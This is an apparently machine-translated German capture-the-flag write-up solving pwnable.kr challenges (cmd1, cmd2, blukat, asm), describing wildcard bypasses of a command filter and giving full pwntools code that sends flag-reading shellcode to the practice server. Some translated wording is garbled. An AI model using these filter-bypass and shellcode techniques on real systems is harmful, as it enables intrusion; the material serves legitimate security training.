In diesem Artikel erfahren Sie, wie Sie einen einfachen Filter umgehen, wie Sie eine Shell mit pwntools schreiben und wie Sie verschiedene Aufgaben auf der Website
pwnable.kr lösen.
OrganisationsinformationenSpeziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:
- PWN;
- Kryptographie (Krypto);
- Netzwerktechnologien (Netzwerk);
- Reverse (Reverse Engineering);
- Steganographie (Stegano);
- Suche und Ausnutzung von WEB-Schwachstellen.
Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich
in Telegram einen
Kanal und eine
Gruppe eingerichtet, um alle Probleme im Bereich ICD
zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen
persönlich prüfen
und alle beantworten .
Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.
Lösung der Aufgabe cmd1
Wir klicken auf das Symbol mit der Signatur cmd1 und es wird uns mitgeteilt, dass wir uns über SSH mit dem Passwort Gast verbinden müssen.

Wenn verbunden, sehen wir das entsprechende Banner.

Lassen Sie uns herausfinden, welche Dateien sich auf dem Server befinden und welche Rechte wir haben.

Schauen wir uns den Quellcode an.

Alles ist sehr einfach: Wir übergeben den Befehl an das Programm und er führt ihn in der Befehlszeile aus, filtert aber zuerst die Wörter flag, sh, tmp. Filter-Flag, aber nicht fla *.

Wir übergeben die Flagge und bekommen noch einen Punkt.
Lösung der Aufgabe cmd2
Wir klicken auf das Symbol mit der Signatur cmd2 und es wird uns mitgeteilt, dass wir über SSH eine Verbindung mit dem Passwort für den Job cmd1 herstellen müssen.

Wenn verbunden, sehen wir das entsprechende Banner.

Lassen Sie uns herausfinden, welche Dateien sich auf dem Server befinden und welche Rechte wir haben.

Schauen wir uns den Quellcode an.

Es sieht aus wie cmd1, ist aber ein komplexerer Filter. Filtert wieder Flag, filtert aber nicht fla *. Alles wird durch Schrägstrichfilterung kompliziert, aber wir können / bin / cat als Befehl -p cat ausführen.

Wir übergeben die Flagge und bekommen Punkte.
Blukat Joblösung
Wir klicken auf das Symbol mit der Signatur blukat und es wird uns mitgeteilt, dass wir uns über SSH mit dem Passwort Gast verbinden müssen.

Wenn verbunden, sehen wir das entsprechende Banner.

Lassen Sie uns herausfinden, welche Dateien sich auf dem Server befinden und welche Rechte wir haben.

Schauen wir uns den Quellcode an.

Hier wird also eine Datei mit einem Passwort geöffnet, mit dem Schlüssel gestritten und eine Flagge angezeigt. Hier ist nur eine Datei mit einem Passwort. Wenn Sie eine Datei mit einem Passwort lesen, wird der Fehlertext angezeigt. Tatsächlich ist der Fehler das Passwort ... Da die Datei von der Gruppe gelesen werden kann, befinden wir uns in dieser Gruppe.


Wir übergeben die Flagge und bekommen drei Punkte.
Asm Joblösung
Wir klicken auf das Symbol mit der Signatur asm und es wird uns mitgeteilt, dass wir uns über SSH mit dem Passwort Gast verbinden müssen.

Wenn verbunden, sehen wir das entsprechende Banner.

Lassen Sie uns herausfinden, welche Dateien sich auf dem Server befinden und welche Rechte wir haben.

Sie haben uns eine Readme-Datei hinterlassen und sie gelesen.

Daher müssen wir einen Shellcode senden, der die Flag-Datei an Port 9026 liest.

Großartig. Wir verwenden pwntools, wir definieren Parameter für Verbindung und Architektur.
from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' r.interactive()
Um die Shell zu kompilieren, verwenden wir das Shellcraft-Modul. Wie Shellcode funktioniert:
- Wir setzen eine Zeile auf den Stapel - den Dateinamen.
- Öffnen Sie die Datei mit dem Namen oben im Stapel (rsp-Register).
- Da die Open-Funktion den Open-File-Deskriptor im Rax-Register zurückgibt - dem ersten zu lesenden Parameter - lesen wir 64 Bytes auf dem Stack, daher ist das Rsp-Register der zweite Parameter.
- Jetzt schreiben wir in die Standardausgabe (Deskriptor 1) ein Flag, das oben auf dem Stapel liegt (rsp-Register).
- Wir sammeln unsere Granate und versenden.
from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload += shellcraft.open('rsp', 0, 0) payload += shellcraft.read('rax', 'rsp', 64) payload += shellcraft.write(1,'rsp', 64) shell = asm(payload) r.send(shell) r.interactive()

Wir übergeben die Flagge und erhalten 6 Punkte. Wir sehen uns im nächsten Artikel, in dem wir die komplexe Sicherheitsanfälligkeit Use After Free betrachten.
Wir befinden uns in einem Telegrammkanal: einem
Kanal im Telegramm .